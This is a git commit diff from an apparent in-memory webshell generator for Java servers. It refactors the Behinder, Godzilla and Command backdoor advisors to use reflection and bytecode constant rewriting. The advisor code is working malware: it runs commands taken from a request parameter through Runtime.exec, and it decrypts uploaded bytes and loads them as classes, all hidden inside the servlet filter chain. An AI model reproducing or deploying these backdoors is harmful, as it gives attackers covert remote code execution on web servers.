mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
feat: use ldc and reflection (#26)
1. remove servlet-api dependency 2. remove class reference (resolved #26), but it doesn't work for java4
This commit is contained in:
@@ -0,0 +1,55 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.field.FieldDescription;
|
||||||
|
import net.bytebuddy.description.field.FieldList;
|
||||||
|
import net.bytebuddy.description.method.MethodList;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.implementation.Implementation;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.jetbrains.annotations.NotNull;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 修改方法中局部变量的赋值
|
||||||
|
*
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/5
|
||||||
|
*/
|
||||||
|
public class LdcReAssignVisitorWrapper implements AsmVisitorWrapper {
|
||||||
|
private final Map<Object, Object> map;
|
||||||
|
|
||||||
|
public LdcReAssignVisitorWrapper(Map<Object, Object> map) {
|
||||||
|
this.map = map;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int mergeWriter(int flags) {
|
||||||
|
return flags;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int mergeReader(int flags) {
|
||||||
|
return flags;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public @NotNull ClassVisitor wrap(@NotNull TypeDescription instrumentedType, @NotNull ClassVisitor classVisitor,
|
||||||
|
Implementation.@NotNull Context implementationContext, @NotNull TypePool typePool,
|
||||||
|
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||||
|
@NotNull MethodList<?> methods, int writerFlags, int readerFlags) {
|
||||||
|
return new ClassRemapper(classVisitor, new Remapper() {
|
||||||
|
@Override
|
||||||
|
public Object mapValue(Object value) {
|
||||||
|
if (map.containsKey(value)) {
|
||||||
|
return map.get(value);
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,42 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/28
|
|
||||||
*/
|
|
||||||
public class AgentGenerator {
|
|
||||||
|
|
||||||
private final ShellConfig config;
|
|
||||||
private final InjectorConfig injectorConfig;
|
|
||||||
|
|
||||||
public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) {
|
|
||||||
this.config = config;
|
|
||||||
this.injectorConfig = injectorConfig;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(injectorConfig.getInjectorClass())
|
|
||||||
.name(injectorConfig.getInjectorClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
|
||||||
.method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
|
||||||
|
|
||||||
if (config.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return make.getBytes();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+19
-4
@@ -1,15 +1,19 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -37,10 +41,7 @@ public class BehinderGenerator {
|
|||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(behinderConfig.getShellClass())
|
.redefine(behinderConfig.getShellClass())
|
||||||
.name(behinderConfig.getShellClassName())
|
.name(behinderConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
.field(named("pass")).value(md5Key)
|
|
||||||
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
@@ -49,6 +50,20 @@ public class BehinderGenerator {
|
|||||||
if (shellConfig.isDebugOff()) {
|
if (shellConfig.isDebugOff()) {
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
||||||
|
builder = builder.visit(
|
||||||
|
new LdcReAssignVisitorWrapper(Map.of(
|
||||||
|
"pass", md5Key,
|
||||||
|
"headerName", behinderConfig.getHeaderName(),
|
||||||
|
"headerValue", behinderConfig.getHeaderValue()
|
||||||
|
))
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
builder = builder.field(named("pass")).value(md5Key)
|
||||||
|
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
||||||
|
}
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+11
-2
@@ -1,13 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -24,8 +28,7 @@ public class CommandGenerator {
|
|||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(shellConfig.getShellClass())
|
.redefine(shellConfig.getShellClass())
|
||||||
.name(shellConfig.getShellClassName())
|
.name(shellConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()));
|
||||||
.field(named("paramName")).value(shellConfig.getParamName());
|
|
||||||
|
|
||||||
if (config.isJakarta()) {
|
if (config.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
@@ -35,6 +38,12 @@ public class CommandGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (config.getShellType().startsWith(Constants.AGENT)) {
|
||||||
|
builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName())));
|
||||||
|
} else {
|
||||||
|
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
|
||||||
|
}
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return make.getBytes();
|
||||||
}
|
}
|
||||||
|
|||||||
+23
-6
@@ -1,8 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
@@ -10,6 +12,8 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -38,12 +42,7 @@ public class GodzillaGenerator {
|
|||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(godzillaConfig.getShellClass())
|
.redefine(godzillaConfig.getShellClass())
|
||||||
.name(godzillaConfig.getShellClassName())
|
.name(godzillaConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
.field(named("pass")).value(godzillaConfig.getPass())
|
|
||||||
.field(named("key")).value(md5Key)
|
|
||||||
.field(named("md5")).value(md5)
|
|
||||||
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
@@ -52,6 +51,24 @@ public class GodzillaGenerator {
|
|||||||
if (shellConfig.isDebugOff()) {
|
if (shellConfig.isDebugOff()) {
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
||||||
|
builder = builder.visit(
|
||||||
|
new LdcReAssignVisitorWrapper(Map.of(
|
||||||
|
"pass", godzillaConfig.getPass(),
|
||||||
|
"key", md5Key,
|
||||||
|
"md5", md5,
|
||||||
|
"headerName", godzillaConfig.getHeaderName(),
|
||||||
|
"headerValue", godzillaConfig.getHeaderValue()
|
||||||
|
))
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
|
||||||
|
.field(named("key")).value(md5Key)
|
||||||
|
.field(named("md5")).value(md5)
|
||||||
|
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
||||||
|
}
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -44,12 +44,6 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
|
try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
|
||||||
addDependency(targetJar, ByteBuddy.class);
|
addDependency(targetJar, ByteBuddy.class);
|
||||||
|
|
||||||
if (generateResult.getShellConfig().isJakarta()) {
|
|
||||||
addDependency(targetJar, jakarta.servlet.Servlet.class);
|
|
||||||
} else {
|
|
||||||
addDependency(targetJar, javax.servlet.Servlet.class);
|
|
||||||
}
|
|
||||||
|
|
||||||
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
|
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
|
||||||
targetJar.write(generateResult.getInjectorBytes());
|
targetJar.write(generateResult.getInjectorBytes());
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
|
|||||||
+2
-3
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.TomcatShell;
|
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -65,8 +64,8 @@ public class Tomcat5ContainerTest {
|
|||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||||
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
||||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
|
|||||||
+15
-21
@@ -4,11 +4,7 @@ import net.bytebuddy.asm.Advice;
|
|||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
import javax.servlet.ServletRequest;
|
import java.io.BufferedReader;
|
||||||
import javax.servlet.ServletResponse;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import javax.servlet.http.HttpSession;
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
@@ -18,26 +14,22 @@ import java.util.Map;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class BehinderFilterChainAdvisor {
|
public class BehinderFilterChainAdvisor {
|
||||||
public static String pass;
|
|
||||||
public static String headerName;
|
|
||||||
public static String headerValue;
|
|
||||||
|
|
||||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
public static boolean enter(
|
public static boolean enter(
|
||||||
@Advice.Argument(value = 0) ServletRequest req,
|
@Advice.Argument(value = 0) Object request,
|
||||||
@Advice.Argument(value = 1) ServletResponse res
|
@Advice.Argument(value = 1) Object res
|
||||||
) {
|
) {
|
||||||
if (!(req instanceof HttpServletRequest)) {
|
String pass = "pass";
|
||||||
return false;
|
String headerName = "headerName";
|
||||||
}
|
String headerValue = "headerValue";
|
||||||
HttpServletRequest request = (HttpServletRequest) req;
|
|
||||||
HttpServletResponse response = (HttpServletResponse) res;
|
|
||||||
try {
|
try {
|
||||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||||
HttpSession session = request.getSession();
|
if (value != null
|
||||||
|
&& value.contains(headerValue)) {
|
||||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||||
obj.put("request", request);
|
obj.put("request", request);
|
||||||
|
Object response = res;
|
||||||
Field field = null;
|
Field field = null;
|
||||||
Class<?> clazz = obj.getClass();
|
Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
while (clazz != Object.class) {
|
||||||
@@ -50,16 +42,18 @@ public class BehinderFilterChainAdvisor {
|
|||||||
}
|
}
|
||||||
if (field != null) {
|
if (field != null) {
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
response = (HttpServletResponse) field.get(obj);
|
response = field.get(response);
|
||||||
}
|
}
|
||||||
obj.put("response", response);
|
obj.put("response", response);
|
||||||
|
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||||
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||||
obj.put("session", session);
|
obj.put("session", session);
|
||||||
session.setAttribute("u", pass);
|
|
||||||
Cipher c = Cipher.getInstance("AES");
|
Cipher c = Cipher.getInstance("AES");
|
||||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||||
byte[] data = null;
|
byte[] data = null;
|
||||||
Class<?> base64;
|
Class<?> base64;
|
||||||
String parameter = req.getReader().readLine();
|
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||||
|
String parameter = reader.readLine();
|
||||||
try {
|
try {
|
||||||
base64 = Class.forName("java.util.Base64");
|
base64 = Class.forName("java.util.Base64");
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
|||||||
+6
-9
@@ -2,29 +2,26 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
|||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.ServletRequest;
|
|
||||||
import javax.servlet.ServletResponse;
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandFilterChainAdvisor {
|
public class CommandFilterChainAdvisor {
|
||||||
public static String paramName;
|
|
||||||
|
|
||||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
public static boolean enter(
|
public static boolean enter(
|
||||||
@Advice.Argument(value = 0) ServletRequest request,
|
@Advice.Argument(value = 0) Object request,
|
||||||
@Advice.Argument(value = 1) ServletResponse response
|
@Advice.Argument(value = 1) Object response
|
||||||
) {
|
) {
|
||||||
String cmd = request.getParameter(paramName);
|
String paramName = "paramName";
|
||||||
try {
|
try {
|
||||||
|
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
System.out.println(cmd);
|
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
InputStream inputStream = exec.getInputStream();
|
InputStream inputStream = exec.getInputStream();
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
|||||||
+25
-30
@@ -4,38 +4,30 @@ import net.bytebuddy.asm.Advice;
|
|||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
import javax.servlet.ServletRequest;
|
|
||||||
import javax.servlet.ServletResponse;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import javax.servlet.http.HttpSession;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaFilterChainAdvisor {
|
public class GodzillaFilterChainAdvisor {
|
||||||
public static String key;
|
|
||||||
public static String pass;
|
|
||||||
public static String md5;
|
|
||||||
public static String headerName;
|
|
||||||
public static String headerValue;
|
|
||||||
|
|
||||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
public static boolean enter(
|
public static boolean enter(
|
||||||
@Advice.Argument(value = 0) ServletRequest req,
|
@Advice.Argument(value = 0) Object request,
|
||||||
@Advice.Argument(value = 1) ServletResponse res
|
@Advice.Argument(value = 1) Object response
|
||||||
) {
|
) {
|
||||||
if (!(req instanceof HttpServletRequest)) {
|
String key = "key";
|
||||||
return false;
|
String pass = "pass";
|
||||||
}
|
String md5 = "md5";
|
||||||
HttpServletRequest request = (HttpServletRequest) req;
|
String headerName = "headerName";
|
||||||
HttpServletResponse response = (HttpServletResponse) res;
|
String headerValue = "headerValue";
|
||||||
try {
|
try {
|
||||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||||
HttpSession session = request.getSession();
|
if (value != null
|
||||||
String parameter = request.getParameter(pass);
|
&& value.contains(headerValue)) {
|
||||||
|
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||||
byte[] data = null;
|
byte[] data = null;
|
||||||
Class<?> base64;
|
Class<?> base64;
|
||||||
try {
|
try {
|
||||||
@@ -51,34 +43,37 @@ public class GodzillaFilterChainAdvisor {
|
|||||||
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
||||||
c.init(2, keySpec);
|
c.init(2, keySpec);
|
||||||
data = c.doFinal(data);
|
data = c.doFinal(data);
|
||||||
if (session.getAttribute("payload") == null) {
|
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||||
|
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||||
|
if (sessionPayload == null) {
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||||
session.setAttribute("payload", payload);
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
||||||
} else {
|
} else {
|
||||||
request.setAttribute("parameters", data);
|
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||||
f.equals(arrOut);
|
f.equals(arrOut);
|
||||||
f.equals(request);
|
f.equals(request);
|
||||||
response.getWriter().write(md5.substring(0, 16));
|
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||||
|
writer.write(md5.substring(0, 16));
|
||||||
f.toString();
|
f.toString();
|
||||||
|
|
||||||
c.init(1, keySpec);
|
c.init(1, keySpec);
|
||||||
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
||||||
String value = null;
|
String result = null;
|
||||||
try {
|
try {
|
||||||
base64 = Class.forName("java.util.Base64");
|
base64 = Class.forName("java.util.Base64");
|
||||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||||
} catch (Exception var6) {
|
} catch (Exception var6) {
|
||||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
Object encoder = base64.newInstance();
|
Object encoder = base64.newInstance();
|
||||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||||
}
|
}
|
||||||
response.getWriter().write(value);
|
writer.write(result);
|
||||||
